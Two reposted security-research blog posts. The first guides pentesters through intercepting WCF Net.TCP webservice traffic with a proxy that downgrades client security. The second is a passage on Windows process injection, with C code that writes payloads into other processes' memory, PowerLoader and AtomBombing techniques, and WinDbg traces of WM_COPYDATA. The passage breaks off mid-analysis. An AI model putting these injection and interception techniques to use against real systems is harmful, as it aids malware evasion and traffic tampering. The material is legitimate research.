Pentesting Webservices with Net.TCP Binding

Original text

Hi all,

Most of you that are  pentesters  may have already tested plenty of webservices using SOAP (Simple Object Access Protocol)for communication. Typically, such SOAP messages are transferred over HTTP (Hypertext Transfer Protocol) and are encapsulated in XML (Extensible Markup Language). Microsoft has developed different representations of this protocols to reduce the network load. As these representations/protocols aren’t really covered by typical tools out there, this post will show you some of them, and a proxy which can be used to simplify the testing.

A typical SOAP request over HTTP looks like the one you’ll find below.

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+xml;charset=UTF-8;action="http://tempuri.org/IService1/GetData"
Content-Length: 440
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope"
               xmlns:tem="http://tempuri.org/">
   <soap:Header xmlns:wsa="http://www.w3.org/2005/08/addressing">
       <wsa:Action>http://tempuri.org/IService1/GetData</wsa:Action>
       <wsa:To>http://localhost/Service1</wsa:To>
   </soap:Header>
   <soap:Body>
      <tem:GetData>
         <tem:value>12345</tem:value>
      </tem:GetData>
   </soap:Body>
</soap:Envelope>

This also results in a typical XML based response:

HTTP/1.1 200 OK
Content-Length: 542
Content-Type: application/soap+xml; charset=utf-8
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 28 Jul 2016 11:13:31 GMT

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"
            xmlns:a="http://www.w3.org/2005/08/addressing">
    <s:Header>
        <a:Action s:mustUnderstand="1">http://tempuri.org/IService1/GetDataResponse</a:Action>
        <ActivityId CorrelationId="ed341f95-b902-45bd-81fd-37419a72cd44"
                    xmlns="http://schemas.microsoft.com/2004/09/ServiceModel/Diagnostics">da3fe24f-3efa-4222-913a-2e5814904a6d</ActivityId>
    </s:Header>
    <s:Body>
        <GetDataResponse xmlns="http://tempuri.org/">
            <GetDataResult>You entered: 12345</GetDataResult>
        </GetDataResponse>
    </s:Body>
</s:Envelope>

Let’s see which protocols are used here… First of all, we’ve the link layer (ethernet most of the time), second the internet layer (IPv4|IPv6), next comes TCP, optionally TLS, now HTTP, and finally SOAP. As you may notice, SOAP and HTTP especially introduce a lot of repetitive data and speaking identifiers. This is great for humans, but bad in the case of network load. One of the optimizations done by Microsoft  in the WCF (Windows Communication Foundation) library was the .Net Binary Format: XML Data Structure [MC-NBFX] and based on that [MC-NBFS] and [MC-NBFSE] for SOAP. Some of the long time readers might remember that I’d already written a library for de- and encoding of this binary representation back in 2011(meanwhile also published on github). With this library, you’re able to read and modify requests and responses from webservices which do not support the XML based encoding. The same request from above could be represented in NBFS:

POST http://localhost/Service1 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/soap+msbin1;charset=UTF-8;action="http://tempuri.org/IService1/GetData"
Content-Length: 228
Host: localhost
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)

Csoap
       soap	temhttp://tempuri.org/Csoap
                                             wsaCwsa
�Hhttp://tempuri.org/IService1/GetDataCwsa
                                           �2http://localhost/Service1CsoapAtemGetDataAtemvalue�90

or as displayed in a hex viewer:

00000000: 4304 736f 6170 020b 0473 6f61 7004 0903  C.soap...soap...
00000010: 7465 6d13 6874 7470 3a2f 2f74 656d 7075  tem.http://tempu
00000020: 7269 2e6f 7267 2f43 0473 6f61 7008 0b03  ri.org/C.soap...
00000030: 7773 6106 4303 7773 610a b748 6800 7400  wsa.C.wsa..Hh.t.
00000040: 7400 7000 3a00 2f00 2f00 7400 6500 6d00  t.p.:././.t.e.m.
00000050: 7000 7500 7200 6900 2e00 6f00 7200 6700  p.u.r.i...o.r.g.
00000060: 2f00 4900 5300 6500 7200 7600 6900 6300  /.I.S.e.r.v.i.c.
00000070: 6500 3100 2f00 4700 6500 7400 4400 6100  e.1./.G.e.t.D.a.
00000080: 7400 6100 4303 7773 610c b732 6800 7400  t.a.C.wsa..2h.t.
00000090: 7400 7000 3a00 2f00 2f00 6c00 6f00 6300  t.p.:././.l.o.c.
000000a0: 6100 6c00 6800 6f00 7300 7400 2f00 5300  a.l.h.o.s.t./.S.
000000b0: 6500 7200 7600 6900 6300 6500 3100 0143  e.r.v.i.c.e.1..C
000000c0: 0473 6f61 700e 4103 7465 6d07 4765 7444  .soap.A.tem.GetD
000000d0: 6174 6141 0374 656d 0576 616c 7565 8b39  ataA.tem.value.9
000000e0: 3001 0101                                0...

As you may notice, some of the xml tag names are gone as for example Envelope, Header or Body. This is because MC-NBFS uses a predefined dictionary to represent most of the strings occurring in SOAP messages by a one or two byte value (if you are interested how the dictionary looks like: https://github.com/ernw/python-wcfbin/blob/develop/wcf/dictionary.py)

If it is still transported over HTTP, you’re done and fully able to test and interact with the webservice as if it was communicating over XML-SOAP.

During your tests, you may find a client which is communicating with a webservice, but not over HTTP and it’s not using SOAP (but something which looks like the NBF above). This is typically the same type of webservice, but this time it does not use the so called HTTP-binding, but the Net.TCP one. This binding is used by WCF applications to remove the parsing overhead of HTTP and add more reliability. It is based on the .NET Message Framing Protocol [MC-NMF] and is defined in [MS-NMTFB]. It’s packets follow a type-value format:

 0                   1                   2                   3  
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+---------------------------------------------------------------+
|  RecordType   |                                               
                      Value...                                  
+---------------------------------------------------------------+

This protocol runs on top of TCP and does some sort of handshake which specifies the used transport encoding (typically NBFSE), the targeted service and an optional transport encryption/protection.

00000000  0001 0001 0202 246e 6574 2e74 6370 3a2f ......$net.tcp:/
00000010  2f31 3932 2e31 3638 2e35 362e 313a 3835 /192.168.56.1:85
00000020  3233 2f53 6572 7669 6365 3103 080c      23/Service1...
    00000000  0b                                               .
0000002E  06b0 016c 2468 7474 703a 2f2f 7465 6d70 ...l$http://temp
0000003E  7572 692e 6f72 672f 4953 6572 7669 6365 uri.org/IService
0000004E  312f 4765 7444 6174 6124 6e65 742e 7463 1/GetData$net.tc
0000005E  703a 2f2f 3139 322e 3136 382e 3536 2e31 p://192.168.56.1
0000006E  3a38 3532 332f 5365 7276 6963 6531 0747 :8523/Service1.G
0000007E  6574 4461 7461 1368 7474 703a 2f2f 7465 etData.http://te
0000008E  6d70 7572 692e 6f72 672f 0576 616c 7565 mpuri.org/.value
0000009E  5602 0b01 7304 0b01 6106 5608 440a 1e00 V...s...a.V.D...
000000AE  82ab 0144 1aad 9ddf 13ad aa57 0140 8fe2 ...D.......W.@..
000000BE  2830 d9d9 e8e7 442c 442a ab14 0144 0c1e (0....D,D*...D..
000000CE  0082 ab03 0156 0e42 050a 0742 098b 3905 .....V.B...B..9.
000000DE  0101 01                                 ...
    00000001  06bd 025f 2c68 7474 703a 2f2f 7465 6d70 ..._,http://temp
    00000011  7572 692e 6f72 672f 4953 6572 7669 6365 uri.org/IService
    00000021  312f 4765 7444 6174 6152 6573 706f 6e73 1/GetDataRespons
    00000031  650f 4765 7444 6174 6152 6573 706f 6e73 e.GetDataRespons
    00000041  6513 6874 7470 3a2f 2f74 656d 7075 7269 e.http://tempuri
    00000051  2e6f 7267 2f0d 4765 7444 6174 6152 6573 .org/.GetDataRes
    00000061  756c 7456 020b 0173 040b 0161 0656 0844 ultV...s...a.V.D
    00000071  0a1e 0082 ab01 400a 4163 7469 7669 7479 ......@.Activity
    00000081  4964 040d 436f 7272 656c 6174 696f 6e49 Id..CorrelationI
    00000091  6498 2436 3038 3538 3730 642d 3835 3264 d.$6085870d852d
    000000A1  2d34 6236 322d 3931 6437 2d61 3563 6334 -4b6291d7a5cc4
    000000B1  3530 3361 3635 3808 3d68 7474 703a 2f2f 503a658.=http://
    000000C1  7363 6865 6d61 732e 6d69 6372 6f73 6f66 schemas.microsof
    000000D1  742e 636f 6d2f 3230 3034 2f30 392f 5365 t.com/2004/09/Se
    000000E1  7276 6963 654d 6f64 656c 2f44 6961 676e rviceModel/Diagn
    000000F1  6f73 7469 6373 b167 9317 e29b 145e 4685 ostics.g.....^F.
    00000101  3657 8293 1d6b 8644 12ad 9ddf 13ad aa57 6W...k.D.......W
    00000111  0140 8fe2 2830 d9d9 e8e7 440c 1e00 82ab .@..(0....D.....
    00000121  1401 560e 4203 0a05 4207 9911 596f 7520 ..V.B...B...You 
    00000131  656e 7465 7265 643a 2031 3333 3701 0101 entered: 1337...
000000E1  0642 0056 020b 0173 040b 0161 0656 0844 .B.V...s...a.V.D
000000F1  0a1e 0082 ab01 441a adf8 4321 1e83 4c8f ......D...C!..L.
00000101  4e8f 0ce4 7db9 cf3a 6744 2c44 2aab 1401 N...}..:gD,D*...
00000111  440c 1e00 82ab 0301 560e 4205 0a07 4209 D.......V.B...B.
00000121  8101 0101                               ....
    00000141  06db 0100 5602 0b01 7304 0b01 6106 5608 ....V...s...a.V.
    00000151  440a 1e00 82ab 0140 0a41 6374 6976 6974 D......@.Activit
    00000161  7949 6404 0d43 6f72 7265 6c61 7469 6f6e yId..Correlation
    00000171  4964 9824 3639 3837 3737 6665 2d65 3637 Id.$6987 77fee67
    00000181  322d 3461 6332 2d62 3163 642d 6239 6237 2-4ac2b1cdb9b7
    00000191  3464 3134 3739 6538 083d 6874 7470 3a2f 4d1479e8.=http:/
    000001A1  2f73 6368 656d 6173 2e6d 6963 726f 736f /schemas .microso
    000001B1  6674 2e63 6f6d 2f32 3030 342f 3039 2f53 ft.com/2004/09/S
    000001C1  6572 7669 6365 4d6f 6465 6c2f 4469 6167 erviceModel/Diag
    000001D1  6e6f 7374 6963 73b1 bef9 db6d 9c99 8b4e nostics....m...N
    000001E1  9a14 0ebf 2d69 41a2 4412 adf8 4321 1e83 ....-iA.D...C!..
    000001F1  4c8f 4e8f 0ce4 7db9 cf3a 6744 0c1e 0082 L.N...}..:gD....
    00000201  ab14 0156 0e42 030a 0542 0799 0e59 6f75 ...V.B...B...You
    00000211  2065 6e74 6572 6564 3a20 3001 0101       entered: 0...
00000125  07                                               .
    0000021F  07                                               .

The first 32 bytes in the capture could be decoded as:

VersionRecord(Major=1, Minor=0)
ModeRecord(Mode=DUPLEX)
ViaRecord(Length=0x24, Via="net.tcp://192.168.56.1:8523/Service1")
KnownEncodingRecord(Encoding=BINARY_DICT)
PreambleEndRecord()

Note: BINARY_DICT means MC-NBFSE in this case.

The server acknowledges the connection (

0xb
) and the actual messages are transferred in the specified encoding (BINARY_DICT), encapsulated in an additional message which prefixes the data with the data length. As you may see, the data sent to server in the second request (the part at 0xE1 to 0x121) is much smaller than the first one. This is because MC-NBFSE defines that a custom dictionary is transfered at the beginning of the first request. All subsequent requests will use this extended dictionary and will transfer only the identifiers (the same applies to the responses).

With this knowledge, you’ll be  able to, at least, extract the requests and responses and decode them with my wcfbin library. But as I noted before, the NMF protocol allows to establish a secured connection. This could be either done by TLS or by GSSAPI. If one of them is used, you’ll be unable to view nor modify the SOAP calls between a client and a server. Additionally, if you’ve the client software and the server requires to authenticate via GSSAPI (Kerberos) and your machine is not part of the domain, it’ll be rather difficult to convince the client software to authenticate with the correct credentials, as this is completely done in the background.

But luckily (especially if we have the client under our control) we can implement a proxy between the client and the server, which would

  1. decode and display the transferred messages
  2. establish a secured connection to the server while the connection to the client is unsecured (like sslstrip)
  3. can be adjusted to modify requests/responses on the fly to bypass some client side restrictions

So lets see how a a proxied connection would look like. First of all, you’ll need the library itself (you can find it here). To install it with pip, just run:

pip install git+https://github.com/ernw/net.tcp-proxy.git

If you like to have some colorful hexdumps you’ll also need my utility library:

pip install git+https://github.com/bluec0re/python-helperlib.git

If you want to connect to a webservice using kerberos authentication (more on this later), gssapi is also required (python2 only!):

pip install gssapi

After installation, you’ll find 3 scripts in your binary folder: decode-nmf.py, decode-wcfbin.py and nettcp-proxy.py

The decode-* scripts can be used to decode trace files which are generated by the proxy (you’ll need the wcfbin decoder mentioned above for the decode-wcfbin script). To generate such trace files (and view the traffic between a client and a server) you can use the nettcp-proxy script as follows:

nettcp-proxy.py -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> <serverip> <serverport>

The result can be seen in the following asciicast (you may want to reduce the playing speed (“<” key) as the output comes fast)

If you want to connect to a webservice which is using the negotiate protocol, some additional steps are required. First you’ll need the krb5 library and the gssapi python bindings (mentioned above). Second, you’ll have to configure the krb library to authenticate against the KDC of the domain. If you’re lucky, a

kinit user@domain

is enough (you’ll be prompted for the user password and the klist command will show a obtained ticket). If not, you’ll need to specify the target KDC in the krb5.conf file:

[logging]
default = STDERR

[libdefaults]
ticket_lifetime = 24h
clock-skew = 300
default_realm = test.local
dns_lookup_realm = true
dns_lookup_kdc = true
forwardable = true
renew_lifetime = 7d

[realms]
FOODOMAIN = {
  kdc = 127.0.0.1:88
  admin_server = 127.0.0.1:464
}

[domain_realm]
foodomain = FOODOMAIN

(adjust the FOODOMAIN and the ips according to your environment).

The next thing you need is a ticket for the target system (the actual service name might be different):

kvno host@service.domain

In the last step, the client has to be configured to not use any transport level authentication. This could be done by adjusting the *.config file which typically comes with such clients:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <startup> 
        <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
    </startup>
    <system.serviceModel>
        <bindings>
            <netTcpBinding>
                <binding name="NetTcpBinding_IService1">
                    <security mode="None" />
                </binding>
            </netTcpBinding>
        </bindings>
        <client>
            <endpoint address="net.tcp://192.168.56.1:8523/Service1" binding="netTcpBinding"
                bindingConfiguration="NetTcpBinding_IService1" contract="ServiceReference1.IService1"
                name="NetTcpBinding_IService1">
                <identity>
                    <dns value="localhost" />
                </identity>
            </endpoint>
        </client>
    </system.serviceModel>
</configuration>

The important part here is the 

&lt;security mode="None" /&gt;
 which has to be assigned to the specific endpoint (by using the 
&lt;binding name
 parameter and the 
&lt;endpoint bindingConfiguration parameter
).

Last but not least you use the nettcp-proxy script as before but additionally specify the service name used with krb5:

nettcp-proxy.py -b <ip address to bind to> -p <port to bind to> -t <name of the tracefile> -n host@service.domain <serverip> <serverport>

That’s all folks. You are now able to view and decode requests going from clients to webservices over the nettcp binding. Additionally, you can use the library to inject your own requests by either doing it directly in python or by connecting to the proxy and let him do the authentication stuff.

That’s it, if you have any questions don’t hesitate to ask, if you find any bugs feel free to report it at github or (even better) fix it right away.

Best & happy hacking,

Github: https://github.com/ernw/net.tcp-proxy

Windows Process Injection: Sharing the payload

Original text

Introduction

The last post discussed some of the problems when writing a payload for process injection. The purpose of this post is to discuss deploying the payload into the memory space of a target process for execution. One can use conventional Win32 API for this task that some of you will already be familiar with, but there’s also the potential to be creative using unconventional approaches. For example, we can use API to perform read and write operations they weren’t originally intended for, that might help evade detection. There are various ways to deploy and execute a payload, but not all are simple to use. Let’s first focus on the conventional API that despite being relatively easy to detect are still popular among threat actors.

Below is a screenshot of VMMap from sysinternals showing the types of memory allocated for the system I’ll be working on (Windows 10). Some of this memory has the potential to be used for storage of a payload.

Allocating virtual memory

Each process has its own virtual address space. Shared memory exists between processes, but in general, process A should not be able to view the virtual memory of process B without assistance from the Kernel. The Kernel can of course see the virtual memory of all processes because it has to perform virtual to physical memory translation. Process A can allocate new virtual memory in the address space of process B using Virtual Memory API that is then handled internally by the Kernel. Some of you may be familiar with the following steps to deploy a payload in virtual memory of another process.

  1. Open a target process using OpenProcess or NtOpenProcess.
  2. Allocate eXecute-Read-Write (XRW) memory in a target process using VirtualAllocEx or NtAllocateVirtualMemory.
  3. Copy a payload to the new memory using WriteProcessMemory or NtWriteVirtualMemory.
  4. Execute payload.
  5. De-allocate XRW memory in target process using VirtualFreeEx or NtFreeVirtualMemory.
  6. Close target process handle with CloseHandle or NtClose.

Using the Win32 API. This only shows the allocation of XRW memory and writing the payload to new memory.

PVOID CopyPayload1(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID ptr=NULL;
    SIZE_T tmp;
    
    // 1. allocate memory
    ptr = VirtualAllocEx(hp, NULL, 
      payloadSize, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE_READWRITE);
      
    // 2. write payload
    WriteProcessMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    
    return ptr;
}

Alternatively using the Nt/Zw API.

LPVOID CopyPayload2(HANDLE hp, LPVOID payload, ULONG payloadSize){
    LPVOID   ptr=NULL;
    ULONG    len=payloadSize;
    NTSTATUS nt;
    ULONG    tmp;
    
    // 1. allocate memory
    NtAllocateVirtualMemory(hp, &ptr, 0, 
      &len, MEM_COMMIT|MEM_RESERVE,
      PAGE_EXECUTE|PAGE_READWRITE);
      
    // 2. write payload
    NtWriteVirtualMemory(hp, ptr, 
      payload, payloadSize, &tmp);
    
    return ptr;
}

Although not shown here, an additional operation to remove Write permissions of the virtual memory might be used.

Create a section object

Another way is using section objects. What does Microsoft say about them?

A section object represents a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.

Although the use of these API in a regular application is an indication of something malicious, threat actors will continue to use them for process injection.

  1. Create a new section object using NtCreateSection and assign to S.
  2. Map a view of S for attacking process using NtMapViewOfSection and assign to B1.
  3. Map a view of S for target process using NtMapViewOfSection and assign to B2.
  4. Copy a payload to B1.
  5. Unmap B1.
  6. Close S
  7. Return pointer to B2.
LPVOID CopyPayload3(HANDLE hp, LPVOID payload, ULONG payloadSize){
    HANDLE        s;
    LPVOID        ba1=NULL, ba2=NULL;
    ULONG         vs=0;
    LARGE_INTEGER li;

    li.HighPart = 0;
    li.LowPart  = payloadSize;
    
    // 1. create a new section
    NtCreateSection(&s, SECTION_ALL_ACCESS, 
      NULL, &li, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL);

    // 2. map view of section for current process
    NtMapViewOfSection(s, GetCurrentProcess(),
      &ba1, 0, 0, 0, &vs, ViewShare,
      0, PAGE_EXECUTE_READWRITE);
    
    // 3. map view of section for target process  
    NtMapViewOfSection(s, hp, &ba2, 0, 0, 0, 
      &vs, ViewShare, 0, PAGE_EXECUTE_READWRITE); 
    
    // 4. copy payload to section of memory
    memcpy(ba1, payload, payloadSize);

    // 5. unmap memory in the current process
    ZwUnmapViewOfSection(GetCurrentProcess(), ba1);
    
    // 6. close section
    ZwClose(s);
    
    // 7. return pointer to payload in target process space
    return (PBYTE)ba2;
}

Using an existing section object and ROP chain

The Powerloader malware used existing shared objects created by explorer.exe to store a payload, but due to permissions of the object (Read-Write) could not directly execute the code without the use of a Return Oriented Programming (ROP) chain. It’s possible to copy a payload to the memory, but not to execute it without some additional trickery.

The following section names were used by PowerLoader for code injection.

"\BaseNamedObjects\ShimSharedMemory"
"\BaseNamedObjects\windows_shell_global_counters"
"\BaseNamedObjects\MSCTF.Shared.SFM.MIH"
"\BaseNamedObjects\MSCTF.Shared.SFM.AMF"
"\BaseNamedObjects\UrlZonesSM_Administrator"
"\BaseNamedObjects\UrlZonesSM_SYSTEM"
  1. Open existing section of memory in target process using NtOpenSection
  2. Map view of section using NtMapViewOfSection
  3. Copy payload to memory
  4. Use a ROP chain to execute

UI Shared Memory

enSilo demonstrated with PowerLoaderEx using UI shared memory for process execution. Injection on Steroids: Codeless code injection and 0-day techniques provides more details of how it works. It uses the desktop heap for injecting the payload into explorer.exe.

Reading a Desktop Heap Overview over at MSDN, we can see there’s already shared memory between processes for the User Interface.

Every desktop object has a single desktop heap associated with it. The desktop heap stores certain user interface objects, such as windows, menus, and hooks. When an application requires a user interface object, functions within user32.dll are called to allocate those objects. If an application does not depend on user32.dll, it does not consume desktop heap.

Using a code cave

Host Intrusion Prevention Systems (HIPS) will regard the use of VirtualAllocEx/WriteProcessMemory as suspicious activity, and this is likely why the authors of PowerLoader used existing section objects. PowerLoader likely inspired the authors behind AtomBombing to use a code cave in a Dynamic-link Library (DLL) for storing a payload and using a ROP chain for execution.

AtomBombing uses a combination of GlobalAddAtomGlobalGetAtomName and NtQueueApcThread to deploy a payload into a target process. The execution is accomplished using a ROP chain and SetThreadContext. What other ways could one deploy a payload without using the standard approach?

Interprocess Communication (IPC) can be used to share data with another process. Some of the ways this can be achieved include:

  • Clipboard (WM_PASTE)
  • Data Copy (WM_COPYDATA)
  • Named pipes
  • Component Object Model (COM)
  • Remote Procedure Call (RPC)
  • Dynamic Data Exchange (DDE)

For the purpose of this post, I decided to examine WM_COPYDATA, but in hindsight, I think COM might be a better line of enquiry.

Data can be legitimately shared between GUI processes via the WM_COPYDATA message, but can it be used for process injection?. SendMessage and PostMessage are two such APIs that can be used to write data into a remote process space without explicitly opening the target process and copying data there using Virtual Memory API.

Kernel Attacks through User-Mode Callbacks presented at Blackhat 2011 by Tarjei Mandt, lead me to examine the potential for using the KernelCallbackTable located in the Process Environment Block (PEB) for process injection. This field is initialized to an array of functions when user32.dll is loaded into a GUI process and this is where I initially started looking after learning how window messages are dispatched by the kernel.

With WinDbg attached to notepad, obtain the address of the PEB.

0:001> !peb
!peb
PEB at 0000009832e49000

Dumping this in the windows debugger shows the following details. What we’re interested in here is the KernelCallbackTable, so I’ve stripped out most of the fields.

0:001> dt !_PEB 0000009832e49000
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
	
	// details stripped out
	
   +0x050 ReservedBits0    : 0y0000000000000000000000000 (0)
   +0x054 Padding1         : [4]  ""
   +0x058 KernelCallbackTable : 0x00007ffd6afc3070 Void
   +0x058 UserSharedInfoPtr : 0x00007ffd6afc3070 Void

If we dump the address 0x00007ffd6afc3070 using the dump symbol command, we see a reference to USER32!apfnDispatch.

0:001> dps $peb+58
0000009832e49058  00007ffd6afc3070 USER32!apfnDispatch
0000009832e49060  0000000000000000
0000009832e49068  0000029258490000
0000009832e49070  0000000000000000
0000009832e49078  00007ffd6c0fc2e0 ntdll!TlsBitMap
0000009832e49080  000003ffffffffff
0000009832e49088  00007df45c6a0000
0000009832e49090  0000000000000000
0000009832e49098  00007df45c6a0730
0000009832e490a0  00007df55e7d0000
0000009832e490a8  00007df55e7e0228
0000009832e490b0  00007df55e7f0650
0000009832e490b8  0000000000000001
0000009832e490c0  ffffe86d079b8000
0000009832e490c8  0000000000100000
0000009832e490d0  0000000000002000

Closer inspection of USER32!apfnDispatch reveals an array of functions.

0:001> dps USER32!apfnDispatch

00007ffd6afc3070  00007ffd6af62bd0 USER32!_fnCOPYDATA
00007ffd6afc3078  00007ffd6afbae70 USER32!_fnCOPYGLOBALDATA
00007ffd6afc3080  00007ffd6af60420 USER32!_fnDWORD
00007ffd6afc3088  00007ffd6af65680 USER32!_fnNCDESTROY
00007ffd6afc3090  00007ffd6af696a0 USER32!_fnDWORDOPTINLPMSG
00007ffd6afc3098  00007ffd6afbb4a0 USER32!_fnINOUTDRAG
00007ffd6afc30a0  00007ffd6af65d40 USER32!_fnGETTEXTLENGTHS
00007ffd6afc30a8  00007ffd6afbb220 USER32!_fnINCNTOUTSTRING
00007ffd6afc30b0  00007ffd6afbb750 USER32!_fnINCNTOUTSTRINGNULL
00007ffd6afc30b8  00007ffd6af675c0 USER32!_fnINLPCOMPAREITEMSTRUCT
00007ffd6afc30c0  00007ffd6af641f0 USER32!__fnINLPCREATESTRUCT
00007ffd6afc30c8  00007ffd6afbb2e0 USER32!_fnINLPDELETEITEMSTRUCT
00007ffd6afc30d0  00007ffd6af6bc00 USER32!__fnINLPDRAWITEMSTRUCT
00007ffd6afc30d8  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e0  00007ffd6afbb330 USER32!_fnINLPHELPINFOSTRUCT
00007ffd6afc30e8  00007ffd6afbb430 USER32!_fnINLPMDICREATESTRUCT

The first function, USER32!_fnCOPYDATA, is called when process A sends the WM_COPYDATA message to a window belonging to process B. The kernel will dispatch the message, including other parameters to the target window handle, that will be handled by the windows procedure associated with it.

0:001> u USER32!_fnCOPYDATA
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
00007ffd6af62bd4 33c0            xor     eax,eax
00007ffd6af62bd6 4c8bd1          mov     r10,rcx
00007ffd6af62bd9 89442438        mov     dword ptr [rsp+38h],eax
00007ffd6af62bdd 4889442440      mov     qword ptr [rsp+40h],rax
00007ffd6af62be2 394108          cmp     dword ptr [rcx+8],eax
00007ffd6af62be5 740b            je      USER32!_fnCOPYDATA+0x22 (00007ffd6af62bf2)
00007ffd6af62be7 48394120        cmp     qword ptr [rcx+20h],rax

Set a breakpoint on this function and continue execution.

0:001> bp USER32!_fnCOPYDATA
0:001> g

The following piece of code will send the WM_COPYDATA message to notepad. Compile and run it.

int main(void){
  COPYDATASTRUCT cds;
  HWND           hw;
  WCHAR          msg[]=L"I don't know what to say!\n";
  
  hw = FindWindowEx(0,0,L"Notepad",0);
  
  if(hw!=NULL){   
    cds.dwData = 1;
    cds.cbData = lstrlen(msg)*2;
    cds.lpData = msg;
    
    // copy data to notepad memory space
    SendMessage(hw, WM_COPYDATA, (WPARAM)hw, (LPARAM)&cds);
  }
  return 0;
}

Once this code executes, it will attempt to find the window handle of Notepad before sending it the WM_COPYDATA message, and this will trigger our breakpoint in the debugger. The call stack shows where the call originated from, in this case it’s from KiUserCallbackDispatcherContinue. Based on the calling convention, the arguments are placed in RCX, RDX, R8 and R9.

Breakpoint 0 hit
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h
0:000> k
 # Child-SP          RetAddr           Call Site
00 0000009832caf618 00007ffd6c03dbc4 USER32!_fnCOPYDATA
01 0000009832caf620 00007ffd688d1144 ntdll!KiUserCallbackDispatcherContinue
02 0000009832caf728 00007ffd6af61b0b win32u!NtUserGetMessage+0x14
03 0000009832caf730 00007ff79cc13bed USER32!GetMessageW+0x2b
04 0000009832caf790 00007ff79cc29333 notepad!WinMain+0x291
05 0000009832caf890 00007ffd6bb23034 notepad!__mainCRTStartup+0x19f
06 0000009832caf950 00007ffd6c011431 KERNEL32!BaseThreadInitThunk+0x14
07 0000009832caf980 0000000000000000 ntdll!RtlUserThreadStart+0x21

0:000> r
rax=00007ffd6af62bd0 rbx=0000000000000000 rcx=0000009832caf678
rdx=00000000000000b0 rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62bd0 rsp=0000009832caf618 rbp=0000009832caf829
 r8=0000000000000000  r9=00007ffd6afc3070 r10=0000000000000000
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA:
00007ffd6af62bd0 4883ec58        sub     rsp,58h

Dumping the contents of first parameter in the RCX register shows some recognizable data sent by the example program. notepad!NPWndProc is obviously the callback procedure associated with the target window receiving WM_COPYDATA.

0:000> dps rcx
0000009832caf678  00000038000000b0
0000009832caf680  0000000000000001
0000009832caf688  0000000000000000
0000009832caf690  0000000000000070
0000009832caf698  0000000000000000
0000009832caf6a0  0000029258bbc070
0000009832caf6a8  000000000000004a       // WM_COPYDATA
0000009832caf6b0  00000000000c072e
0000009832caf6b8  0000000000000001
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000000000000078
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049

The structure passed to fnCOPYDATA isn’t part of the debugging symbols, but here’s what we’re looking at.

typedef struct _CAPTUREBUF {
    DWORD cbCallback;
    DWORD cbCapture;
    DWORD cCapturedPointers;
    PBYTE pbFree;              
    DWORD offPointers;
    PVOID pvVirtualAddress;
} CAPTUREBUF, *PCAPTUREBUF;

typedef struct _FNCOPYDATAMSG {
    CAPTUREBUF     CaptureBuf;
    PWND           pwnd;
    UINT           msg;
    HWND           hwndFrom;
    BOOL           fDataPresent;
    COPYDATASTRUCT cds;
    ULONG_PTR      xParam;
    PROC           xpfnProc;
} FNCOPYDATAMSG;

Continue to single-step (t) through the code and examine the contents of the registers.

0:000> r
r
rax=00007ffd6c039da0 rbx=0000000000000000 rcx=00007ff79cc131b0
rdx=000000000000004a rsi=0000000000000000 rdi=0000000000000000
rip=00007ffd6af62c16 rsp=0000009832caf5c0 rbp=0000009832caf829
 r8=00000000000c072e  r9=0000009832caf6c0 r10=0000009832caf678
r11=0000000000000244 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
USER32!_fnCOPYDATA+0x46:
00007ffd6af62c16 498b4a28        mov     rcx,qword ptr [r10+28h] ds:0000009832caf6a0=0000029258bbc070

0:000> u rcx
notepad!NPWndProc:
00007ff79cc131b0 4055            push    rbp
00007ff79cc131b2 53              push    rbx
00007ff79cc131b3 56              push    rsi
00007ff79cc131b4 57              push    rdi
00007ff79cc131b5 4154            push    r12
00007ff79cc131b7 4155            push    r13
00007ff79cc131b9 4156            push    r14
00007ff79cc131bb 4157            push    r15

We see a pointer to COPYDATASTRUCT is placed in r9.

0:000> dps r9
0000009832caf6c0  0000000000000001
0000009832caf6c8  0000000000000034
0000009832caf6d0  0000009832caf6f0
0000009832caf6d8  00007ff79cc131b0 notepad!NPWndProc
0000009832caf6e0  00007ffd6c039da0 ntdll!NtdllDispatchMessage_W
0000009832caf6e8  0000000000000058
0000009832caf6f0  006f006400200049
0000009832caf6f8  002000740027006e
0000009832caf700  0077006f006e006b
0000009832caf708  0061006800770020
0000009832caf710  006f007400200074
0000009832caf718  0079006100730020
0000009832caf720  00000000000a0021
